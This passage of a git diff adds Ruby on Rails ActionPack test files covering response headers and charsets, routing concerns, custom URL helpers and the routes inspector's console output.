+  test "read content type with default charset utf-8" do
+    original = ActionDispatch::Response.default_charset
+    begin
+      resp = ActionDispatch::Response.new(200, "Content-Type" => "text/xml")
+      assert_equal("utf-8", resp.charset)
+    ensure
+      ActionDispatch::Response.default_charset = original
+    end
+  end
+
+  test "read content type with charset utf-16" do
+    original = ActionDispatch::Response.default_charset
+    begin
+      ActionDispatch::Response.default_charset = "utf-16"
+      resp = ActionDispatch::Response.new(200, "Content-Type" => "text/xml")
+      assert_equal("utf-16", resp.charset)
+    ensure
+      ActionDispatch::Response.default_charset = original
+    end
+  end
+
+  test "read x_frame_options, x_content_type_options and x_xss_protection" do
+    original_default_headers = ActionDispatch::Response.default_headers
+    begin
+      ActionDispatch::Response.default_headers = {
+        "X-Frame-Options" => "DENY",
+        "X-Content-Type-Options" => "nosniff",
+        "X-XSS-Protection" => "1;"
+      }
+      resp = ActionDispatch::Response.create.tap { |response|
+        response.body = "Hello"
+      }
+      resp.to_a
+
+      assert_equal("DENY", resp.headers["X-Frame-Options"])
+      assert_equal("nosniff", resp.headers["X-Content-Type-Options"])
+      assert_equal("1;", resp.headers["X-XSS-Protection"])
+    ensure
+      ActionDispatch::Response.default_headers = original_default_headers
+    end
+  end
+
+  test "read custom default_header" do
+    original_default_headers = ActionDispatch::Response.default_headers
+    begin
+      ActionDispatch::Response.default_headers = {
+        "X-XX-XXXX" => "Here is my phone number"
+      }
+      resp = ActionDispatch::Response.create.tap { |response|
+        response.body = "Hello"
+      }
+      resp.to_a
+
+      assert_equal("Here is my phone number", resp.headers["X-XX-XXXX"])
+    ensure
+      ActionDispatch::Response.default_headers = original_default_headers
+    end
+  end
+
+  test "respond_to? accepts include_private" do
+    assert_not @response.respond_to?(:method_missing)
+    assert @response.respond_to?(:method_missing, true)
+  end
+
+  test "can be explicitly destructured into status, headers and an enumerable body" do
+    response = ActionDispatch::Response.new(404, { "Content-Type" => "text/plain" }, ["Not Found"])
+    response.request = ActionDispatch::Request.empty
+    status, headers, body = *response
+
+    assert_equal 404, status
+    assert_equal({ "Content-Type" => "text/plain" }, headers)
+    assert_equal ["Not Found"], body.each.to_a
+  end
+
+  test "[response.to_a].flatten does not recurse infinitely" do
+    Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
+      status, headers, body = [@response.to_a].flatten
+      assert_equal @response.status, status
+      assert_equal @response.headers, headers
+      assert_equal @response.body, body.each.to_a.join
+    end
+  end
+
+  test "compatibility with Rack::ContentLength" do
+    @response.body = "Hello"
+    app = lambda { |env| @response.to_a }
+    env = Rack::MockRequest.env_for("/")
+
+    status, headers, body = app.call(env)
+    assert_nil headers["Content-Length"]
+
+    status, headers, body = Rack::ContentLength.new(app).call(env)
+    assert_equal "5", headers["Content-Length"]
+  end
+end
+
+class ResponseHeadersTest < ActiveSupport::TestCase
+  def setup
+    @response = ActionDispatch::Response.create
+    @response.set_header "Foo", "1"
+  end
+
+  test "has_header?" do
+    assert @response.has_header? "Foo"
+    assert_not @response.has_header? "foo"
+    assert_not @response.has_header? nil
+  end
+
+  test "get_header" do
+    assert_equal "1", @response.get_header("Foo")
+    assert_nil @response.get_header("foo")
+    assert_nil @response.get_header(nil)
+  end
+
+  test "set_header" do
+    assert_equal "2", @response.set_header("Foo", "2")
+    assert @response.has_header?("Foo")
+    assert_equal "2", @response.get_header("Foo")
+
+    assert_nil @response.set_header("Foo", nil)
+    assert @response.has_header?("Foo")
+    assert_nil @response.get_header("Foo")
+  end
+
+  test "delete_header" do
+    assert_nil @response.delete_header(nil)
+
+    assert_nil @response.delete_header("foo")
+    assert @response.has_header?("Foo")
+
+    assert_equal "1", @response.delete_header("Foo")
+    assert_not @response.has_header?("Foo")
+  end
+
+  test "add_header" do
+    # Add a value to an existing header
+    assert_equal "1,2", @response.add_header("Foo", "2")
+    assert_equal "1,2", @response.get_header("Foo")
+
+    # Add nil to an existing header
+    assert_equal "1,2", @response.add_header("Foo", nil)
+    assert_equal "1,2", @response.get_header("Foo")
+
+    # Add nil to a nonexistent header
+    assert_nil @response.add_header("Bar", nil)
+    assert_not @response.has_header?("Bar")
+    assert_nil @response.get_header("Bar")
+
+    # Add a value to a nonexistent header
+    assert_equal "1", @response.add_header("Bar", "1")
+    assert @response.has_header?("Bar")
+    assert_equal "1", @response.get_header("Bar")
+  end
+end
+
+class ResponseIntegrationTest < ActionDispatch::IntegrationTest
+  test "response cache control from railsish app" do
+    @app = lambda { |env|
+      ActionDispatch::Response.new.tap { |resp|
+        resp.cache_control[:public] = true
+        resp.etag = "123"
+        resp.body = "Hello"
+        resp.request = ActionDispatch::Request.empty
+      }.to_a
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("public", @response.headers["Cache-Control"])
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.headers["ETag"])
+
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.etag)
+    assert_equal({ public: true }, @response.cache_control)
+  end
+
+  test "response cache control from rackish app" do
+    @app = lambda { |env|
+      [200,
+        { "ETag" => 'W/"202cb962ac59075b964b07152d234b70"',
+          "Cache-Control" => "public" }, ["Hello"]]
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("public", @response.headers["Cache-Control"])
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.headers["ETag"])
+
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.etag)
+    assert_equal({ public: true }, @response.cache_control)
+  end
+
+  test "response charset and content type from railsish app" do
+    @app = lambda { |env|
+      ActionDispatch::Response.new.tap { |resp|
+        resp.charset = "utf-16"
+        resp.content_type = Mime[:xml]
+        resp.body = "Hello"
+        resp.request = ActionDispatch::Request.empty
+      }.to_a
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("utf-16", @response.charset)
+    assert_equal(Mime[:xml], @response.content_type)
+
+    assert_equal("application/xml; charset=utf-16", @response.headers["Content-Type"])
+  end
+
+  test "response charset and content type from rackish app" do
+    @app = lambda { |env|
+      [200,
+        { "Content-Type" => "application/xml; charset=utf-16" },
+        ["Hello"]]
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("utf-16", @response.charset)
+    assert_equal(Mime[:xml], @response.content_type)
+
+    assert_equal("application/xml; charset=utf-16", @response.headers["Content-Type"])
+  end
+
+  test "strong ETag validator" do
+    @app = lambda { |env|
+      ActionDispatch::Response.new.tap { |resp|
+        resp.strong_etag = "123"
+        resp.body = "Hello"
+        resp.request = ActionDispatch::Request.empty
+      }.to_a
+    }
+
+    get "/"
+    assert_response :ok
+
+    assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers["ETag"])
+    assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag)
+  end
+end
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
new file mode 100644
index 0000000000..503a7ccd56
--- /dev/null
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ReviewsController < ResourcesController; end
+
+class RoutingConcernsTest < ActionDispatch::IntegrationTest
+  class Reviewable
+    def self.call(mapper, options = {})
+      mapper.resources :reviews, options
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      concern :commentable do |options|
+        resources :comments, options
+      end
+
+      concern :image_attachable do
+        resources :images, only: :index
+      end
+
+      concern :reviewable, Reviewable
+
+      resources :posts, concerns: [:commentable, :image_attachable, :reviewable] do
+        resource :video, concerns: :commentable do
+          concerns :reviewable, as: :video_reviews
+        end
+      end
+
+      resource :picture, concerns: :commentable do
+        resources :posts, concerns: :commentable
+      end
+
+      scope "/videos" do
+        concerns :commentable, except: :destroy
+      end
+    end
+  end
+
+  include Routes.url_helpers
+  APP = RoutedRackApp.new Routes
+  def app; APP end
+
+  def test_accessing_concern_from_resources
+    get "/posts/1/comments"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/comments", post_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resource
+    get "/picture/comments"
+    assert_equal "200", @response.code
+    assert_equal "/picture/comments", picture_comments_path
+  end
+
+  def test_accessing_concern_from_nested_resource
+    get "/posts/1/video/comments"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/video/comments", post_video_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_nested_resources
+    get "/picture/posts/1/comments"
+    assert_equal "200", @response.code
+    assert_equal "/picture/posts/1/comments", picture_post_comments_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resources_with_more_than_one_concern
+    get "/posts/1/images"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/images", post_images_path(post_id: 1)
+  end
+
+  def test_accessing_concern_from_resources_using_only_option
+    get "/posts/1/image/1"
+    assert_equal "404", @response.code
+  end
+
+  def test_accessing_callable_concern_
+    get "/posts/1/reviews/1"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/reviews/1", post_review_path(post_id: 1, id: 1)
+  end
+
+  def test_callable_concerns_accept_options
+    get "/posts/1/video/reviews/1"
+    assert_equal "200", @response.code
+    assert_equal "/posts/1/video/reviews/1", post_video_video_review_path(post_id: 1, id: 1)
+  end
+
+  def test_accessing_concern_from_a_scope
+    get "/videos/comments"
+    assert_equal "200", @response.code
+  end
+
+  def test_concerns_accept_options
+    delete "/videos/comments/1"
+    assert_equal "404", @response.code
+  end
+
+  def test_with_an_invalid_concern_name
+    e = assert_raise ArgumentError do
+      ActionDispatch::Routing::RouteSet.new.tap do |app|
+        app.draw do
+          resources :posts, concerns: :foo
+        end
+      end
+    end
+
+    assert_equal "No concern named foo was found!", e.message
+  end
+
+  def test_concerns_executes_block_in_context_of_current_mapper
+    mapper = ActionDispatch::Routing::Mapper.new(ActionDispatch::Routing::RouteSet.new)
+    mapper.concern :test_concern do
+      resources :things
+      return self
+    end
+
+    assert_equal mapper, mapper.concerns(:test_concern)
+  end
+end
diff --git a/actionpack/test/dispatch/routing/custom_url_helpers_test.rb b/actionpack/test/dispatch/routing/custom_url_helpers_test.rb
new file mode 100644
index 0000000000..a1a1e79884
--- /dev/null
+++ b/actionpack/test/dispatch/routing/custom_url_helpers_test.rb
@@ -0,0 +1,333 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestCustomUrlHelpers < ActionDispatch::IntegrationTest
+  class Linkable
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+
+    def linkable_type
+      self.class.name.underscore
+    end
+  end
+
+  class Category < Linkable; end
+  class Collection < Linkable; end
+  class Product < Linkable; end
+  class Manufacturer < Linkable; end
+
+  class Model
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    attr_reader :id
+
+    def initialize(id = nil)
+      @id = id
+    end
+
+    remove_method :model_name
+    def model_name
+      @_model_name ||= ActiveModel::Name.new(self.class, nil, self.class.name.demodulize)
+    end
+
+    def persisted?
+      false
+    end
+  end
+
+  class Basket < Model; end
+  class User < Model; end
+  class Video < Model; end
+
+  class Article
+    attr_reader :id
+
+    def self.name
+      "Article"
+    end
+
+    def initialize(id)
+      @id = id
+    end
+  end
+
+  class Page
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+  end
+
+  class CategoryPage < Page; end
+  class ProductPage < Page; end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    default_url_options host: "www.example.com"
+
+    root to: "pages#index"
+    get "/basket", to: "basket#show", as: :basket
+    get "/posts/:id", to: "posts#show", as: :post
+    get "/profile", to: "users#profile", as: :profile
+    get "/media/:id", to: "media#show", as: :media
+    get "/pages/:id", to: "pages#show", as: :page
+
+    resources :categories, :collections, :products, :manufacturers
+
+    namespace :admin do
+      get "/dashboard", to: "dashboard#index"
+    end
+
+    direct(:website)  { "http://www.rubyonrails.org" }
+    direct("string")  { "http://www.rubyonrails.org" }
+    direct(:helper)   { basket_url }
+    direct(:linkable) { |linkable| [:"#{linkable.linkable_type}", { id: linkable.id }] }
+    direct(:nested)   { |linkable| route_for(:linkable, linkable) }
+    direct(:params)   { |params| params }
+    direct(:symbol)   { :basket }
+    direct(:hash)     { { controller: "basket", action: "show" } }
+    direct(:array)    { [:admin, :dashboard] }
+    direct(:options)  { |options| [:products, options] }
+    direct(:defaults, size: 10) { |options| [:products, options] }
+
+    direct(:browse, page: 1, size: 10) do |options|
+      [:products, options.merge(params.permit(:page, :size).to_h.symbolize_keys)]
+    end
+
+    resolve("Article") { |article| [:post, { id: article.id }] }
+    resolve("Basket") { |basket| [:basket] }
+    resolve("Manufacturer") { |manufacturer| route_for(:linkable, manufacturer) }
+    resolve("User", anchor: "details") { |user, options| [:profile, options] }
+    resolve("Video") { |video| [:media, { id: video.id }] }
+    resolve(%w[Page CategoryPage ProductPage]) { |page| [:page, { id: page.id }] }
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def setup
+    @category = Category.new("1")
+    @collection = Collection.new("2")
+    @product = Product.new("3")
+    @manufacturer = Manufacturer.new("apple")
+    @basket = Basket.new
+    @user = User.new
+    @video = Video.new("4")
+    @article = Article.new("5")
+    @page = Page.new("6")
+    @category_page = CategoryPage.new("7")
+    @product_page = ProductPage.new("8")
+    @path_params = { "controller" => "pages", "action" => "index" }
+    @unsafe_params = ActionController::Parameters.new(@path_params)
+    @safe_params = ActionController::Parameters.new(@path_params).permit(:controller, :action)
+  end
+
+  def params
+    ActionController::Parameters.new(page: 2, size: 25)
+  end
+
+  def test_direct_paths
+    assert_equal "/", website_path
+    assert_equal "/", Routes.url_helpers.website_path
+
+    assert_equal "/", string_path
+    assert_equal "/", Routes.url_helpers.string_path
+
+    assert_equal "/basket", helper_path
+    assert_equal "/basket", Routes.url_helpers.helper_path
+
+    assert_equal "/categories/1", linkable_path(@category)
+    assert_equal "/categories/1", Routes.url_helpers.linkable_path(@category)
+    assert_equal "/collections/2", linkable_path(@collection)
+    assert_equal "/collections/2", Routes.url_helpers.linkable_path(@collection)
+    assert_equal "/products/3", linkable_path(@product)
+    assert_equal "/products/3", Routes.url_helpers.linkable_path(@product)
+
+    assert_equal "/categories/1", nested_path(@category)
+    assert_equal "/categories/1", Routes.url_helpers.nested_path(@category)
+
+    assert_equal "/", params_path(@safe_params)
+    assert_equal "/", Routes.url_helpers.params_path(@safe_params)
+    assert_raises(ActionController::UnfilteredParameters) { params_path(@unsafe_params) }
+    assert_raises(ActionController::UnfilteredParameters) { Routes.url_helpers.params_path(@unsafe_params) }
+
+    assert_equal "/basket", symbol_path
+    assert_equal "/basket", Routes.url_helpers.symbol_path
+    assert_equal "/basket", hash_path
+    assert_equal "/basket", Routes.url_helpers.hash_path
+    assert_equal "/admin/dashboard", array_path
+    assert_equal "/admin/dashboard", Routes.url_helpers.array_path
+
+    assert_equal "/products?page=2", options_path(page: 2)
+    assert_equal "/products?page=2", Routes.url_helpers.options_path(page: 2)
+    assert_equal "/products?size=10", defaults_path
+    assert_equal "/products?size=10", Routes.url_helpers.defaults_path
+    assert_equal "/products?size=20", defaults_path(size: 20)
+    assert_equal "/products?size=20", Routes.url_helpers.defaults_path(size: 20)
+
+    assert_equal "/products?page=2&size=25", browse_path
+    assert_raises(NameError) { Routes.url_helpers.browse_path }
+  end
+
+  def test_direct_urls
+    assert_equal "http://www.rubyonrails.org", website_url
+    assert_equal "http://www.rubyonrails.org", Routes.url_helpers.website_url
+
+    assert_equal "http://www.rubyonrails.org", string_url
+    assert_equal "http://www.rubyonrails.org", Routes.url_helpers.string_url
+
+    assert_equal "http://www.example.com/basket", helper_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.helper_url
+
+    assert_equal "http://www.example.com/categories/1", linkable_url(@category)
+    assert_equal "http://www.example.com/categories/1", Routes.url_helpers.linkable_url(@category)
+    assert_equal "http://www.example.com/collections/2", linkable_url(@collection)
+    assert_equal "http://www.example.com/collections/2", Routes.url_helpers.linkable_url(@collection)
+    assert_equal "http://www.example.com/products/3", linkable_url(@product)
+    assert_equal "http://www.example.com/products/3", Routes.url_helpers.linkable_url(@product)
+
+    assert_equal "http://www.example.com/categories/1", nested_url(@category)
+    assert_equal "http://www.example.com/categories/1", Routes.url_helpers.nested_url(@category)
+
+    assert_equal "http://www.example.com/", params_url(@safe_params)
+    assert_equal "http://www.example.com/", Routes.url_helpers.params_url(@safe_params)
+    assert_raises(ActionController::UnfilteredParameters) { params_url(@unsafe_params) }
+    assert_raises(ActionController::UnfilteredParameters) { Routes.url_helpers.params_url(@unsafe_params) }
+
+    assert_equal "http://www.example.com/basket", symbol_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.symbol_url
+    assert_equal "http://www.example.com/basket", hash_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.hash_url
+    assert_equal "http://www.example.com/admin/dashboard", array_url
+    assert_equal "http://www.example.com/admin/dashboard", Routes.url_helpers.array_url
+
+    assert_equal "http://www.example.com/products?page=2", options_url(page: 2)
+    assert_equal "http://www.example.com/products?page=2", Routes.url_helpers.options_url(page: 2)
+    assert_equal "http://www.example.com/products?size=10", defaults_url
+    assert_equal "http://www.example.com/products?size=10", Routes.url_helpers.defaults_url
+    assert_equal "http://www.example.com/products?size=20", defaults_url(size: 20)
+    assert_equal "http://www.example.com/products?size=20", Routes.url_helpers.defaults_url(size: 20)
+
+    assert_equal "http://www.example.com/products?page=2&size=25", browse_url
+    assert_raises(NameError) { Routes.url_helpers.browse_url }
+  end
+
+  def test_resolve_paths
+    assert_equal "/basket", polymorphic_path(@basket)
+    assert_equal "/basket", Routes.url_helpers.polymorphic_path(@basket)
+
+    assert_equal "/profile#details", polymorphic_path(@user)
+    assert_equal "/profile#details", Routes.url_helpers.polymorphic_path(@user)
+
+    assert_equal "/profile#password", polymorphic_path(@user, anchor: "password")
+    assert_equal "/profile#password", Routes.url_helpers.polymorphic_path(@user, anchor: "password")
+
+    assert_equal "/media/4", polymorphic_path(@video)
+    assert_equal "/media/4", Routes.url_helpers.polymorphic_path(@video)
+    assert_equal "/media/4", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @video)
+
+    assert_equal "/posts/5", polymorphic_path(@article)
+    assert_equal "/posts/5", Routes.url_helpers.polymorphic_path(@article)
+    assert_equal "/posts/5", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @article)
+
+    assert_equal "/pages/6", polymorphic_path(@page)
+    assert_equal "/pages/6", Routes.url_helpers.polymorphic_path(@page)
+    assert_equal "/pages/6", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @page)
+
+    assert_equal "/pages/7", polymorphic_path(@category_page)
+    assert_equal "/pages/7", Routes.url_helpers.polymorphic_path(@category_page)
+    assert_equal "/pages/7", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @category_page)
+
+    assert_equal "/pages/8", polymorphic_path(@product_page)
+    assert_equal "/pages/8", Routes.url_helpers.polymorphic_path(@product_page)
+    assert_equal "/pages/8", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @product_page)
+
+    assert_equal "/manufacturers/apple", polymorphic_path(@manufacturer)
+    assert_equal "/manufacturers/apple", Routes.url_helpers.polymorphic_path(@manufacturer)
+  end
+
+  def test_resolve_urls
+    assert_equal "http://www.example.com/basket", polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.polymorphic_url(@basket)
+
+    assert_equal "http://www.example.com/profile#details", polymorphic_url(@user)
+    assert_equal "http://www.example.com/profile#details", Routes.url_helpers.polymorphic_url(@user)
+
+    assert_equal "http://www.example.com/profile#password", polymorphic_url(@user, anchor: "password")
+    assert_equal "http://www.example.com/profile#password", Routes.url_helpers.polymorphic_url(@user, anchor: "password")
+
+    assert_equal "http://www.example.com/media/4", polymorphic_url(@video)
+    assert_equal "http://www.example.com/media/4", Routes.url_helpers.polymorphic_url(@video)
+    assert_equal "http://www.example.com/media/4", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @video)
+
+    assert_equal "http://www.example.com/posts/5", polymorphic_url(@article)
+    assert_equal "http://www.example.com/posts/5", Routes.url_helpers.polymorphic_url(@article)
+    assert_equal "http://www.example.com/posts/5", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @article)
+
+    assert_equal "http://www.example.com/pages/6", polymorphic_url(@page)
+    assert_equal "http://www.example.com/pages/6", Routes.url_helpers.polymorphic_url(@page)
+    assert_equal "http://www.example.com/pages/6", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @page)
+
+    assert_equal "http://www.example.com/pages/7", polymorphic_url(@category_page)
+    assert_equal "http://www.example.com/pages/7", Routes.url_helpers.polymorphic_url(@category_page)
+    assert_equal "http://www.example.com/pages/7", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @category_page)
+
+    assert_equal "http://www.example.com/pages/8", polymorphic_url(@product_page)
+    assert_equal "http://www.example.com/pages/8", Routes.url_helpers.polymorphic_url(@product_page)
+    assert_equal "http://www.example.com/pages/8", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @product_page)
+
+    assert_equal "http://www.example.com/manufacturers/apple", polymorphic_url(@manufacturer)
+    assert_equal "http://www.example.com/manufacturers/apple", Routes.url_helpers.polymorphic_url(@manufacturer)
+  end
+
+  def test_defining_direct_inside_a_scope_raises_runtime_error
+    routes = ActionDispatch::Routing::RouteSet.new
+
+    assert_raises RuntimeError do
+      routes.draw do
+        namespace :admin do
+          direct(:rubyonrails) { "http://www.rubyonrails.org" }
+        end
+      end
+    end
+  end
+
+  def test_defining_resolve_inside_a_scope_raises_runtime_error
+    routes = ActionDispatch::Routing::RouteSet.new
+
+    assert_raises RuntimeError do
+      routes.draw do
+        namespace :admin do
+          resolve("User") { "/profile" }
+        end
+      end
+    end
+  end
+
+  def test_defining_direct_url_registers_helper_method
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.symbol_url
+    assert_equal true, Routes.named_routes.route_defined?(:symbol_url), "'symbol_url' named helper not found"
+    assert_equal true, Routes.named_routes.route_defined?(:symbol_path), "'symbol_path' named helper not found"
+  end
+end
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
new file mode 100644
index 0000000000..438a918567
--- /dev/null
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -0,0 +1,425 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rails/engine"
+require "action_dispatch/routing/inspector"
+
+class MountedRackApp
+  def self.call(env)
+  end
+end
+
+class Rails::DummyController
+end
+
+module ActionDispatch
+  module Routing
+    class RoutesInspectorTest < ActiveSupport::TestCase
+      def setup
+        @set = ActionDispatch::Routing::RouteSet.new
+      end
+
+      def draw(options = nil, &block)
+        @set.draw(&block)
+        inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes)
+        inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options).split("\n")
+      end
+
+      def test_displaying_routes_for_engines
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+          get "/cart", to: "cart#show"
+        end
+
+        output = draw do
+          get "/custom/assets", to: "custom_assets#show"
+          mount engine => "/blog", :as => "blog"
+        end
+
+        assert_equal [
+          "       Prefix Verb URI Pattern              Controller#Action",
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show",
+          "         blog      /blog                    Blog::Engine",
+          "",
+          "Routes for Blog::Engine:",
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_displaying_routes_for_engines_without_routes
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+        end
+
+        output = draw do
+          mount engine => "/blog", as: "blog"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  blog      /blog       Blog::Engine",
+          "",
+          "Routes for Blog::Engine:"
+        ], output
+      end
+
+      def test_cart_inspect
+        output = draw do
+          get "/cart", to: "cart#show"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern     Controller#Action",
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_articles_inspect_with_multiple_verbs
+        output = draw do
+          match "articles/:id", to: "articles#update", via: [:put, :patch]
+        end
+
+        assert_equal [
+          "Prefix Verb      URI Pattern             Controller#Action",
+          "       PUT|PATCH /articles/:id(.:format) articles#update"
+        ], output
+      end
+
+      def test_inspect_shows_custom_assets
+        output = draw do
+          get "/custom/assets", to: "custom_assets#show"
+        end
+
+        assert_equal [
+          "       Prefix Verb URI Pattern              Controller#Action",
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show"
+        ], output
+      end
+
+      def test_inspect_routes_shows_resources_route
+        output = draw do
+          resources :articles
+        end
+
+        assert_equal [
+          "      Prefix Verb   URI Pattern                  Controller#Action",
+          "    articles GET    /articles(.:format)          articles#index",
+          "             POST   /articles(.:format)          articles#create",
+          " new_article GET    /articles/new(.:format)      articles#new",
+          "edit_article GET    /articles/:id/edit(.:format) articles#edit",
+          "     article GET    /articles/:id(.:format)      articles#show",
+          "             PATCH  /articles/:id(.:format)      articles#update",
+          "             PUT    /articles/:id(.:format)      articles#update",
+          "             DELETE /articles/:id(.:format)      articles#destroy"
+        ], output
+      end
+
+      def test_inspect_routes_shows_root_route
+        output = draw do
+          root to: "pages#main"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  root GET  /           pages#main"
+        ], output
+      end
+
+      def test_inspect_routes_shows_dynamic_action_route
+        output = draw do
+          ActiveSupport::Deprecation.silence do
+            get "api/:action" => "api"
+          end
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern            Controller#Action",
+          "       GET  /api/:action(.:format) api#:action"
+        ], output
+      end
+
+      def test_inspect_routes_shows_controller_and_action_only_route
+        output = draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller/:action"
+          end
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern                    Controller#Action",
+          "       GET  /:controller/:action(.:format) :controller#:action"
+        ], output
+      end
+
+      def test_inspect_routes_shows_controller_and_action_route_with_constraints
+        output = draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller(/:action(/:id))", id: /\d+/
+          end
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern                            Controller#Action",
+          "       GET  /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+        ], output
+      end
+
+      def test_rails_routes_shows_route_with_defaults
+        output = draw do
+          get "photos/:id" => "photos#show", :defaults => { format: "jpg" }
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern           Controller#Action",
+          '       GET  /photos/:id(.:format) photos#show {:format=>"jpg"}'
+        ], output
+      end
+
+      def test_rails_routes_shows_route_with_constraints
+        output = draw do
+          get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern           Controller#Action",
+          "       GET  /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+        ], output
+      end
+
+      def test_rails_routes_shows_routes_with_dashes
+        output = draw do
+          get "about-us" => "pages#about_us"
+          get "our-work/latest"
+
+          resources :photos, only: [:show] do
+            get "user-favorites", on: :collection
+            get "preview-photo", on: :member
+            get "summary-text"
+          end
+        end
+
+        assert_equal [
+          "               Prefix Verb URI Pattern                              Controller#Action",
+          "             about_us GET  /about-us(.:format)                      pages#about_us",
+          "      our_work_latest GET  /our-work/latest(.:format)               our_work#latest",
+          "user_favorites_photos GET  /photos/user-favorites(.:format)         photos#user_favorites",
+          "  preview_photo_photo GET  /photos/:id/preview-photo(.:format)      photos#preview_photo",
+          "   photo_summary_text GET  /photos/:photo_id/summary-text(.:format) photos#summary_text",
+          "                photo GET  /photos/:id(.:format)                    photos#show"
+        ], output
+      end
+
+      def test_rails_routes_shows_route_with_rack_app
+        output = draw do
+          get "foo/:id" => MountedRackApp, :id => /[A-Z]\d{5}/
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern        Controller#Action",
+          "       GET  /foo/:id(.:format) MountedRackApp {:id=>/[A-Z]\\d{5}/}"
+        ], output
+      end
+
+      def test_rails_routes_shows_named_route_with_mounted_rack_app
+        output = draw do
+          mount MountedRackApp => "/foo"
+        end
+
+        assert_equal [
+          "          Prefix Verb URI Pattern Controller#Action",
+          "mounted_rack_app      /foo        MountedRackApp"
+        ], output
+      end
+
+      def test_rails_routes_shows_overridden_named_route_with_mounted_rack_app_with_name
+        output = draw do
+          mount MountedRackApp => "/foo", as: "blog"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  blog      /foo        MountedRackApp"
+        ], output
+      end
+
+      def test_rails_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
+        constraint = Class.new do
+          def inspect
+            "( my custom constraint )"
+          end
+        end
+
+        output = draw do
+          scope constraint: constraint.new do
+            mount MountedRackApp => "/foo"
+          end
+        end
+
+        assert_equal [
+          "          Prefix Verb URI Pattern Controller#Action",
+          "mounted_rack_app      /foo        MountedRackApp {:constraint=>( my custom constraint )}"
+        ], output
+      end
+
+      def test_rails_routes_dont_show_app_mounted_in_assets_prefix
